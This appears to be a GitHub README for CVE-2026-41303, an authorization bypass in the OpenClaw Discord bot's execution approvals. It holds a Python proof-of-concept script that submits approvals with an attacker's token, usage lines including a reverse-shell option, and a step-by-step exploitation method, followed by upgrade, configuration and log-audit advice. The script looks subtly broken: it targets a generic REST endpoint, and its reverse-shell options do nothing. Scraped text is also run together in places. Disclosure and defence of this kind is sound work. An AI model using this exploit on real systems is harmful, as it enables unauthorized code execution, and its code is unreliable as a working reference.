kaleth4/cve-2026-41303Technical documentation and proof-of-concept for CVE-2026-41303, an authorization bypass in OpenClaw Discord bot, including exploitation methodology, mitigation steps, and defensive recommendations.
Complete technical documentation on the authorization bypass vulnerability in OpenClaw
This repository contains technical information, analysis, and recommendations about the vulnerability CVE-2026-41303, which allows authorization bypass in the execution approval commands in the OpenClaw project.
A critical flaw was identified in OpenClaw versions prior to 2026.3.28. The issue resides in Discord text approval commands, where users who are not on the list of authorized approvers (channels.discord.execApprovals.approvers) can approve pending host execution requests.
| Parameter | Value |
|---|---|
| CVE ID | CVE-2026-41303 |
| Affected Product | OpenClaw |
| Vulnerability Type | Authorization Bypass (CWE-863) |
| Attack Vector | Discord text commands |
| Platform | Linux / Discord |
| CVSS Score | 8.8 (High) |
| Affected Versions | < 2026.3.28 |
| Status | Fixed in v2026.3.28+ |
The vulnerability resides in the lack of authorization validation in the /approve command handler of the OpenClaw bot. The system does not properly verify whether the user executing the command belongs to the list of authorized approvers before processing the request.
An attacker with access to the Discord channel where approvals are managed can:
-red?style=flat&logo=owasp){kind=icon}
Unauthorized User
↓
Access to Discord Channel
↓
Identifies Pending Approval ID
↓
Executes /approve command
↓
Bot Approves Without Validating Permissions
↓
Remote Code Execution (RCE)
channel-id)approval-id)requests, json, argparseimport argparse
import requests
import json
import time
def main():
# Professional argument configuration for auditing
parser = argparse.ArgumentParser(
description="CVE-2026-41303 - Approval bypass in OpenClaw",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Usage examples:
python3 exploit.py http://target.com --token TOKEN --channel-id 123456 --approval-id ABC789
python3 exploit.py http://target.com --token TOKEN --channel-id 123456 --approval-id ABC789 --decision allow-always
"""
)
parser.add_argument("target", help="URL of the instance or bot context")
parser.add_argument("--token", required=True, help="Discord token of the attacker/auditor")
parser.add_argument("--channel-id", required=True, help="Discord channel ID")
parser.add_argument("--approval-id", required=True, help="ID of the approval to bypass")
parser.add_argument("--decision", default="allow-once",
choices=["allow-once", "allow-always"],
help="Type of approval decision (default: allow-once)")
# Additional parameters for post-exploitation
parser.add_argument("--lhost", help="IP for reverse shell if the approval triggers an RCE")
parser.add_argument("--lport", help="Listening port")
parser.add_argument("--verbose", "-v", action="store_true", help="Verbose mode")
args = parser.parse_args()
# Exploitation logic
print(f"[*] Starting bypass for approval: {args.approval_id}")
print(f"[*] Target channel: {args.channel_id}")
print(f"[*] Decision: {args.decision}")
if args.verbose:
print(f"[DEBUG] Token: {args.token[:20]}...")
print(f"[DEBUG] Target: {args.target}")
# Construction of the malformed request
headers = {
"Authorization": f"Bearer {args.token}",
"Content-Type": "application/json"
}
payload = {
"approval_id": args.approval_id,
"decision": args.decision,
"channel_id": args.channel_id
}
try:
# Sending the /approve command without permission validation
response = requests.post(
f"{args.target}/api/approve",
headers=headers,
json=payload,
timeout=10
)
if response.status_code == 200:
print(f"[+] Bypass successful! Approval executed.")
print(f"[+] Response: {response.json()}")
if args.lhost and args.lport:
print(f"[*] Reverse shell configured on {args.lhost}:{args.lport}")
else:
print(f"[-] Error: {response.status_code} - {response.text}")
except Exception as e:
print(f"[-] Exception: {str(e)}")
if __name__ == "__main__":
main()
# Basic usage
python3 exploit.py http://target.com --token YOUR_TOKEN --channel-id 123456789 --approval-id ABC123
# Verbose mode
python3 exploit.py http://target.com --token YOUR_TOKEN --channel-id 123456789 --approval-id ABC123 -v
# With reverse shell
python3 exploit.py http://target.com --token YOUR_TOKEN --channel-id 123456789 --approval-id ABC123 --lhost 192.168.1.100 --lport 4444
1. Gain access to the Discord channel where OpenClaw interacts
2. Monitor bot messages to identify pending approval IDs
3. Capture the exact format of approval requests
4. Document the structure of /approve commands
1. Run the PoC script with the captured IDs
2. Send the decision (allow-once or allow-always) along with the parameters
3. The bot processes the command without validating user permissions
4. Approval executes successfully
If the Discord text approval triggers automatic functions on the server:
↓
Code deployments
↓
Remote Code Execution (RCE)
↓
Total system compromise
1. Update OpenClaw
# Update to version 2026.3.28 or higher
pip install --upgrade openclaw>=2026.3.28
# Or from the official repository
git clone https://github.com/openclaw/openclaw.git
cd openclaw
git checkout v2026.3.28
pip install -e .
2. Review Configuration
# Verify channels.discord.execApprovals.approvers
# File: config.yaml
channels:
discord:
execApprovals:
approvers:
- "user_id_1"
- "user_id_2"
- "user_id_3"
# ⚠️ Ensure that ONLY trusted users are on this list
3. Log Audit
# Review recent execution logs
tail -f /var/log/openclaw/execution.log
# Search for suspicious approvals
grep "APPROVAL" /var/log/openclaw/execution.log | grep -v "AUTHORIZED_USER"